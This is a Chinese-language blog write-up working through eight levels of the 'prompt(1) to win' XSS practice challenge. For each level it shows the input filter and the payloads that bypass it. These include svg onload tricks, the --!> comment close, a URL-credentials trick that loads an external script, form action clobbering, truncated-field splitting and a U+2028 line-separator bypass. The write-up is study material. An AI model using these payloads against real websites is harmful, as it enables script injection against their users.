文章目录
  1. 1.
  2. 2. Challenges
    1. 2.1. Level-1 <> 过滤
    2. 2.2. Level-2 (= 过滤
    3. 2.3. Level-3 -> 替换
    4. 2.4. Level-4 同源的正则过滤
    5. 2.5. Level-5 input_value限制
    6. 2.6. Level-6 表单提交action过滤
      1. 2.6.1. example
    7. 2.7. Level-7 连续输出长度限制
    8. 2.8. Level-8 script标签注释/闭合限制
      1. 2.8.1. update
      2. 2.8.2. example
  3. 3. Reference

好久没搞这个了, 再练练几个姿势. 然后打算以后更新xss vector用gist, 养肥了再放blog了

这几天今天学的是这个练习站: Prompt(1) to win

Challenges

Level-1 <> 过滤

/<\/?[^>]+>/gi

1
<svg/onload=prompt(1) #注意最后有个空格!!

想了好久, 还是没法构造出<, 最后看了小抄过的, 好蛋疼…
然而答案有点出乎意料, 想了一下也有道理, html会自动进行闭合, svg真心不错.
不过后面的空格还是不懂为什么存在与否会有这么大区别..

Level-2 (= 过滤

input = input.replace(/[=(]/g, ‘’);

  1. ES6的新特性可以用 ` 来替换 ( 不过这题不行
    1
    <script>prompt.call`this, 1`</script>

2.找了半天, 找到了vector

1
<svg><script>prompt&#40;1&#41;</script>

搞了之后才发现svg和script组合简直是无敌了, HTML编码+script(本例用了html10hex)

Level-3 -> 替换

input.replace(/->/g, ‘_’);

1
2
3
<!--
--!><svg/onload=prompt(1)
-->

vector就是--!>, 还好看了答案, 不然打死都想不到.. 这个解析我服!

原文
Although the character sequence --!> raises a Parse error, the HTML Specifications defines the tokenization that makes it an alternative to end a comment:

Level-4 同源的正则过滤

/^(?:https?:)?\/\/prompt.ml\//i.test(decodeURIComponent(input)
" ==> &quot;
< ==> &lt;
> ==> &gt;
& ==> &amp;

看了半天writeup终于懂了, 绕的好棒!还有感觉自己总是死脑筋, 姿势不对啊….

vector:

1
<script src="//prompt.ml%[email protected]/test.js"></script>

解释的话就需要引用一下wiki的URLComponent
@前面表示的其实是username和password, 但是对于没有作验证的服务器来说就是前面随便写, 这样的话就绕过了正则中所要求的
同域js调用限制了, 其实感觉这个decodeURIComponent反而是给attcker一条捷径了..

因为在src中/不能被urldecode, 所以直接写的\/会被认为是路径, 自己也去试着去aliyun构造了一下域名, 不过失败告终

aliyun
RR值中不能包含a–z、A–Z、0–9、’-‘ 、’.’、’*’、’中文汉字’以外的字符

越来越好玩了哈哈

Level-5 input_value限制

input.replace(/>|on.+?=|focus/gi, ‘_’);

vector_1:

1
2
" oninput
=prompt(1) "

这个感觉比前面几个简单一点, 虽然*focus没法用, 标签也没法闭合, 但是正则中.不包括换行符\n, 很尴尬
修改的话就加个这个就行了: /\/>|on(.|\n)+?=|focus/gi
oninput 支持IE9+ =, =

看了答案发现还有两个, 思路一致, 细节不一样, 学一手.
vector_2:

1
2
"type=image src onerror
="prompt(1)

这个vector以前看到过, 不过又忘记了..
input的type类型只取决于最前面声明的那个

vector_3:
oninput 改成 onresize(只在IE有效, 自己没ie..)

Level-6 表单提交action过滤

filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';

} catch (e) {
return 'Invalid form data.';
}
}

vector:

1
javascript:prompt(1)#{"action":1}

这个看了答案也迷糊了很久, 不过会了之后真的挺开心, 又学一个技能点: js选取的DOM中的tag属性取用的是name的value, 下面介绍一下

escape()这个函数先是创建了一个表单(含有input tag), 可控输出点在baseURL和input的name和value上
return一个script, 过滤了脚本协议(就是这个正则)

乍一看上去绕不过, 但是document.forms[0].action是有缺陷的

由于存在子级tag, action 将会优先指向name为action的子tag.

Wow!是不是很吊!

下面做个演示就知道了:

example

创建一个html, 包含如下:

1
2
3
4
<form action="javascript:alert(1)" method="post">
<input name="action" value="1">
<input type="" name="actions">
</form>

然后console中依次运行这些js:

1
2
3
4
5
6
7
8
document.forms[0].actions
// <input type name=​"actions">​
document.forms[0].method
// "post"
document.forms[0].action
// <input name=​"action" value=​"1">​
document.forms[0].action.name
// "action"

运行完就懂优先级了

Level-7 连续输出长度限制

filter

1
2
3
4
5
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');

vector:

1
2
"><script>/*#*/prompt(/*#*/1)/*#*/</script>
//"

本来不想讲的, 后来发现自己好蠢..答案如下:

vector_2:

“><svg/a=#”onload=’/*#*/prompt(1)’

虽然以前遇到过一次, 但是这个poc还是花了好久才搞好的..

vector_3:
“><script x=#”async=#”src=”//g.cn/xxx(短网址)

Level-8 script标签注释/闭合限制

input.replace(/[\r\n</“]/g, ‘’);

1
2
3
4
5
input = input.replace(/[\r\n</"]/g, '');
return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';

这个答案是

1
[U+2028]prompt(1)[U+2028]-->

不起作用, 但是又是学到很多:

  1. Unicode 可以尝试绕过js中的特殊字符
  2. HTMLComment的妙用, 单行/多行都可以

update

大牛在github回了我, got vector

LineBreak的链接也算找到了, 贴一下以后方便查:(一般28, 29),然后在线parse一下就行了

WikiPedia-Newline
LF: Line Feed, U+000A
VT: Vertical Tab, U+000B
FF: Form Feed, U+000C
CR: Carriage Return, U+000D
CR+LF: CR (U+000D) followed by LF (U+000A)
NEL: Next Line, U+0085
LS: Line Separator, U+2028
PS: Paragraph Separator, U+2029

用法写在下面了, 运行就懂了, 不过<!-- 还是和 -->有点区别的(看1, 4)

example

1
2
3
4
5
6
7
8
9
10
<script>
// console.log("
alert(1)<!--");
alert(2)-->alert(3)

</script>

<script>
// console.log("
alert(4)-->")
</script>

<!-- 注意两个script标签别放一起 -->

Reference

Challenge:
prompt
Writeup:
github-cure53

文章目录
  1. 1.
  2. 2. Challenges
    1. 2.1. Level-1 <> 过滤
    2. 2.2. Level-2 (= 过滤
    3. 2.3. Level-3 -> 替换
    4. 2.4. Level-4 同源的正则过滤
    5. 2.5. Level-5 input_value限制
    6. 2.6. Level-6 表单提交action过滤
      1. 2.6.1. example
    7. 2.7. Level-7 连续输出长度限制
    8. 2.8. Level-8 script标签注释/闭合限制
      1. 2.8.1. update
      2. 2.8.2. example
  3. 3. Reference